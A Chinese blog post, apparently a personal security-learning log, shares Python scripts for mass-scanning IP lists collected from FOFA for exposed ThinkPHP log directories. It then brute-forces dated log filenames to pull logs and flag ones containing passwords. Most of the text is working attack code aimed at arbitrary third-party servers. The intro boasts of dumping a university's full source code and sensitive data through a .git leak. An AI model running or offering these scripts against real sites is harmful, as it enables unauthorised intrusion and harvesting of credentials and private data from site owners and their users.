python3实现漏洞批量探测
题记
本来开心的我有些不开心了,哎,本来挖了个电子科技大学的.git泄露,我把整站源码都下载下来了,还有好多敏感信息,可能我动静太大了,结果第二天服务器直接关了,不知道我的证书还有没有。
还有我的cnvd审核好慢啊,不知道能不能过,哎,理性很丰满,现实很骨感啊。
前情提要
牢骚发完了,接着学习了。上次写到利用脚本在fofa批量收集ip,文章地址:http://cnblogs.com/sunny11/p/14596343.html
当我们收集完ip后就应该漏洞验证了,这次例子接上次的thinkphp的网站ip整理,整理后开始验证是否存在日志泄露。众所周知,thinkphp日志主要路径为/Application/Runtime/Logs/Admin与/Runtime/Logs/Admin,当我们的路径为这个并且返回403的时候,很有可能存在这个漏洞了(当然有的站点可能返回200把所有目录全部爆出来,此次不在我们考虑范围内),我这个是加入了我自己的整个想法,分成了通过状态码判断是否有漏洞,发现有漏洞后分为把ip存在文本还是把路径存在文本。
漏洞探测代码(以thinkphp为例子)
原理:代码注释写的很清楚了,可以通过#号注释完成你想要的结果。
从ip.txt提取ip,拼接路径后看返回访问码,返回码对的话就把ip或者完整路径打印到vlun.txt。
import requests import time print("如果想运行的话,首先你要把想扫描的ip放到ip.txt中") payload_o='/Application/Runtime/Logs/Admin' payload_t='/Runtime/Logs/Admin' print("最后的结果保存在vlun.txt") for ip in open('ip.txt'): # 把换行利用正则换成空格 ip=ip.replace('\n','') ipo=ip+payload_o ipt=ip+payload_t # 容错处理 try: vlun_o=requests.get(ipo).status_code vlun_t=requests.get(ipt).status_code #if vlun_o==403 or vlun_o==200: # if vlun_o==200: if vlun_o == 403: print('find it->'+ipo+'状态码为:'+str(vlun_o)) #如果里面想输入汉字的话一定要编码 with open(r'vlun.txt','a+',encoding='utf-8') as f: # 尝试读取爆出403的网站保存格式最后为ip------状态码为:403 #f.write(ipo+'---------'+'状态码为:'+str(vlun_o)+'\n') # 尝试读取爆出403的网站保存格式最后为ip f.write(ip+ '\n') f.close() #if vlun_t==403 or vlun_t==200: #if vlun_t==200: if vlun_t == 403: print('find it->'+ipt+'状态码为:'+str(vlun_t)) with open(r'vlun.txt','a+',encoding='utf-8') as f: # 尝试读取爆出403的网站保存格式最后为ip------状态码为:403 #f.write(ipt+'---------'+'状态码为:'+str(vlun_t)+'\n') #尝试读取爆出403的网站保存格式最后为ip f.write(ip + '\n') f.close() time.sleep(0.5) except Exception as e: pass
运行过程截图:
这里说明一下为什么分为输出ip与完整路径。
只输出ip的话可以利用脚本跑日志,配合零组里脚本极佳。
输出完整路径的话可以手工进行下一步探测,方便查看内容,活跃的站几乎天天有日志,不活跃的站点也没探测的必要。
批量跑日志脚本
判断出有漏洞批量跑日志的脚本如下:
#!/usr/bin/env python # -*- coding:utf-8 -*- import time import datetime import requests import ssl from urllib3 import disable_warnings ssl._create_default_https_context = ssl._create_unverified_context disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)', } #不同cms的日志位置可能不一样,自己添加 target_dict = {"xxxcms":['/Runtime/Logs/Admin/'] } def time_increase(begin_time, days=1): bg = datetime.datetime.strptime(begin_time, '%Y-%m-%d') delta = datetime.timedelta(days=days) date_increase = (bg + delta).strftime("%Y-%m-%d") return date_increase def formmat_time(time_str): bg = datetime.datetime.strptime(time_str, '%Y-%m-%d') fromat_time = bg.strftime("%Y_%m_%d")[2:] return fromat_time def fuzz(time_str): for i in target_dict['xxxcms']: #要爆破的url url = "https://xxx/Application"+i+"{0}.log".format(time_str) try: res = requests.get(url, headers=headers, stream=True,verify=False,timeout=5) if res.status_code == 200: print("log文件:{0}".format(url)) # f = open("{0}.log".format(time_str), "wb+") # for chunk in res.iter_content(chunk_size=512): # if chunk: # f.write(chunk) # f.flush() # f.close() except Exception as e: print(url,e) def start(): #默认截至日期是今天,开始时间自己设置 end_time = datetime.datetime.now().strftime("%Y-%m-%d") start_time = "2020-05-10" time_str = None while True: if not time_str: time_str = start_time fuzz(formmat_time(time_str)) if time_str == end_time: break time_str = time_increase(time_str) start()
运行结果:
脚本修改(添加查看是否有密码功能)(2021/03/31更新)
#!/usr/bin/env python # -*- coding:utf-8 -*- import time import datetime import requests import ssl from urllib3 import disable_warnings ssl._create_default_https_context = ssl._create_unverified_context disable_warnings() headers = { 'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)', } #不同cms的日志位置可能不一样,自己添加 target_dict = {"xxxcms":['/Runtime/Logs/Admin/'] } def time_increase(begin_time, days=1): bg = datetime.datetime.strptime(begin_time, '%Y-%m-%d') delta = datetime.timedelta(days=days) date_increase = (bg + delta).strftime("%Y-%m-%d") return date_increase def formmat_time(time_str): bg = datetime.datetime.strptime(time_str, '%Y-%m-%d') fromat_time = bg.strftime("%Y_%m_%d")[2:] return fromat_time def fuzz(time_str): for i in target_dict['xxxcms']: #要爆破的url url = "http://xxx/"+i+"{0}.log".format(time_str) try: res = requests.get(url, headers=headers, stream=True,verify=False,timeout=5) result = requests.get(url).content.decode('utf-8') if res.status_code == 200: print("log文件:{0}".format(url)) # f = open("{0}.log".format(time_str), "wb+") # for chunk in res.iter_content(chunk_size=512): # if chunk: # f.write(chunk) # f.flush() # f.close() if 'password' in result: print("log文件:{0}".format(url)+"-------------->this is password") except Exception as e: print(url,e) def start(): #默认截至日期是今天,开始时间自己设置 end_time = datetime.datetime.now().strftime("%Y-%m-%d") start_time = "2021-01-10" time_str = None while True: if not time_str: time_str = start_time fuzz(formmat_time(time_str)) if time_str == end_time: break time_str = time_increase(time_str) start()
拓展
我在学习后对代码进行了魔改,终于改成满意的模样了。其实原理都是相通的,像这种通过探测路径找漏洞的只要改改路径就能用,发数据包的我们可以加上请求什么的。有基础当然很简单了,更复杂的话我们可以把代码定义成函数,直接调用函数。